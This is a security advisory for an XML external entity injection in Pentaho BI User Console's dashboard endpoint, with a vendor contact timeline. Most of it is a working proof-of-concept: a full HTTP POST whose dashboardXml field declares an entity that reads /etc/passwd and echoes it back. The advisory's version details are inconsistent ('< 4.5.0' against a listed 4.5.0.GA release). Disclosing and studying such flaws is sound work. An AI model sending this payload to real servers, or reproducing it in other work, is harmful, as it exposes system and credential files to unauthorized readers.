92 lines
No EOL
3.8 KiB
Text
92 lines
No EOL
3.8 KiB
Text
========================================================================
|
|
title: Pentaho User Console XML Injection Vulnerability
|
|
program: Pentaho BI User Console
|
|
vulnerable version: Pentaho < 4.5.0
|
|
homepage: http://www.pentaho.com/
|
|
Tested on: Linux x86/x86_64
|
|
found: Feb. 5 2014
|
|
Original Discovery by: Taylor Tippins
|
|
Exploit By: K.d Long kd@stonedcoder.org
|
|
========================================================================
|
|
|
|
Vendor description:
|
|
-------------------
|
|
|
|
The Pentaho Business Analytics suite manages Business Intelligence solutions, generate the reports,
|
|
data aggregation, and provides users access to analysis views.
|
|
|
|
Vulnerability description:
|
|
--------------------------
|
|
The dashboardXml parameter is vulnerable to XML external entity injection. The tag <!DOCTYPE foo
|
|
[<!ENTITY xxe8295c SYSTEM "file:///etc/passwd"> ]> was injected into the XML of the client's POST
|
|
request. This tag defines an external entity, xxe8295c, which references a file on the XML parser's
|
|
filesystem. This entity was then used within a data field in the XML document. The server's response
|
|
contains the contents of the specified file, indicating that the parser processed the injected
|
|
external entity.
|
|
|
|
By manipulating the POST request to “/pentaho/content/dashboards” it is possible to inject arbitrary
|
|
XML declarations- and tags. This request is triggered while a user is creating a customized dashboard.
|
|
|
|
Proof of concept:
|
|
-----------------
|
|
The following entity declaration would create a new XML entity with the content of the /etc/passwd
|
|
file which can be referenced in the following XML request content:
|
|
|
|
---cut here---
|
|
POST /pentaho/content/dashboards HTTP/1.1
|
|
Host: example.com
|
|
User-Agent: Mozilla/5.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Referer: https://example.com/pentaho/content/dashboards?command=new
|
|
Cookie: loginNewWindowChecked=false; JSESSIONID=61448378278C147D05BC95BAB4B63F19
|
|
Content-Length: 2458
|
|
Connection: keep-alive
|
|
|
|
|
|
command=templatecontents&dashboardXml=<!DOCTYPE foo [<!ENTITY xxe8295c SYSTEM "file:///etc/passwd">
|
|
]><dashboard>
|
|
<title>New Dashboard</title>
|
|
<heading>New Dashboard</heading>
|
|
<enableWidgetPrinting>false</enableWidgetPrinting>
|
|
<documentation>
|
|
<author>test</author>
|
|
<description></description>
|
|
<icon></icon>
|
|
</documentation>
|
|
<template-ref>xul/04-1-then-2.xul&xxe8295c;</template-ref>
|
|
<theme-ref>00-Onyx</theme-ref>
|
|
<layout>
|
|
<overlay xmlns:pho="http://www.pentaho.com">
|
|
<box id="Panel_1" pho:title="Untitled 1" type="titled-panel" flex="1" collapsed="false" />
|
|
<box id="Panel_2" pho:title="Untitled 2" type="titled-panel" flex="1" collapsed="false" />
|
|
<box id="Panel_3" pho:title="Untitled 3" type="titled-panel" flex="1" collapsed="false" />
|
|
<box id="Panel_4" pho:title="Untitled 4" type="titled-panel" flex="1" collapsed="false" />
|
|
<box id="Panel_5" pho:title="Untitled 5"/>
|
|
<box id="Panel_6" pho:title="Untitled 6"/>
|
|
<box id="Panel_7" pho:title="Untitled 7"/>
|
|
<box id="Panel_8" pho:title="Untitled 8"/>
|
|
<box id="Panel_9" pho:title="Untitled 9"/>
|
|
<box id="Panel_10" pho:title="Untitled 10"/>
|
|
<box id="titlebar" title="" height="23" hidden="false" width="0" type="pagetitle"
|
|
collapsed="false" /><box id="widget-area" type="scrollarea"/><box id="widget-area" flex="1"/><box
|
|
id="FilterPanel" title="" height="100" hidden="true" width="0" type="povpanel" collapsed="false"
|
|
/><box id="hbox1" type="layout"/><box id="hbox1" flex="1"/><box id="hbox2" type="layout"/><box
|
|
id="hbox2" flex="1"/></overlay>
|
|
</layout>
|
|
<parameters>
|
|
</parameters>
|
|
<widgetJavascript><![CDATA[[]]]></widgetJavascript>
|
|
</dashboard>
|
|
&type=html
|
|
---cut here---
|
|
|
|
|
|
Vulnerable versions:
|
|
--------------------
|
|
Pentaho User Console Release 4.5.0.GA.49857
|
|
|
|
|
|
Vendor contact timeline:
|
|
------------------------
|
|
02/16/2014: Vendor notified via email |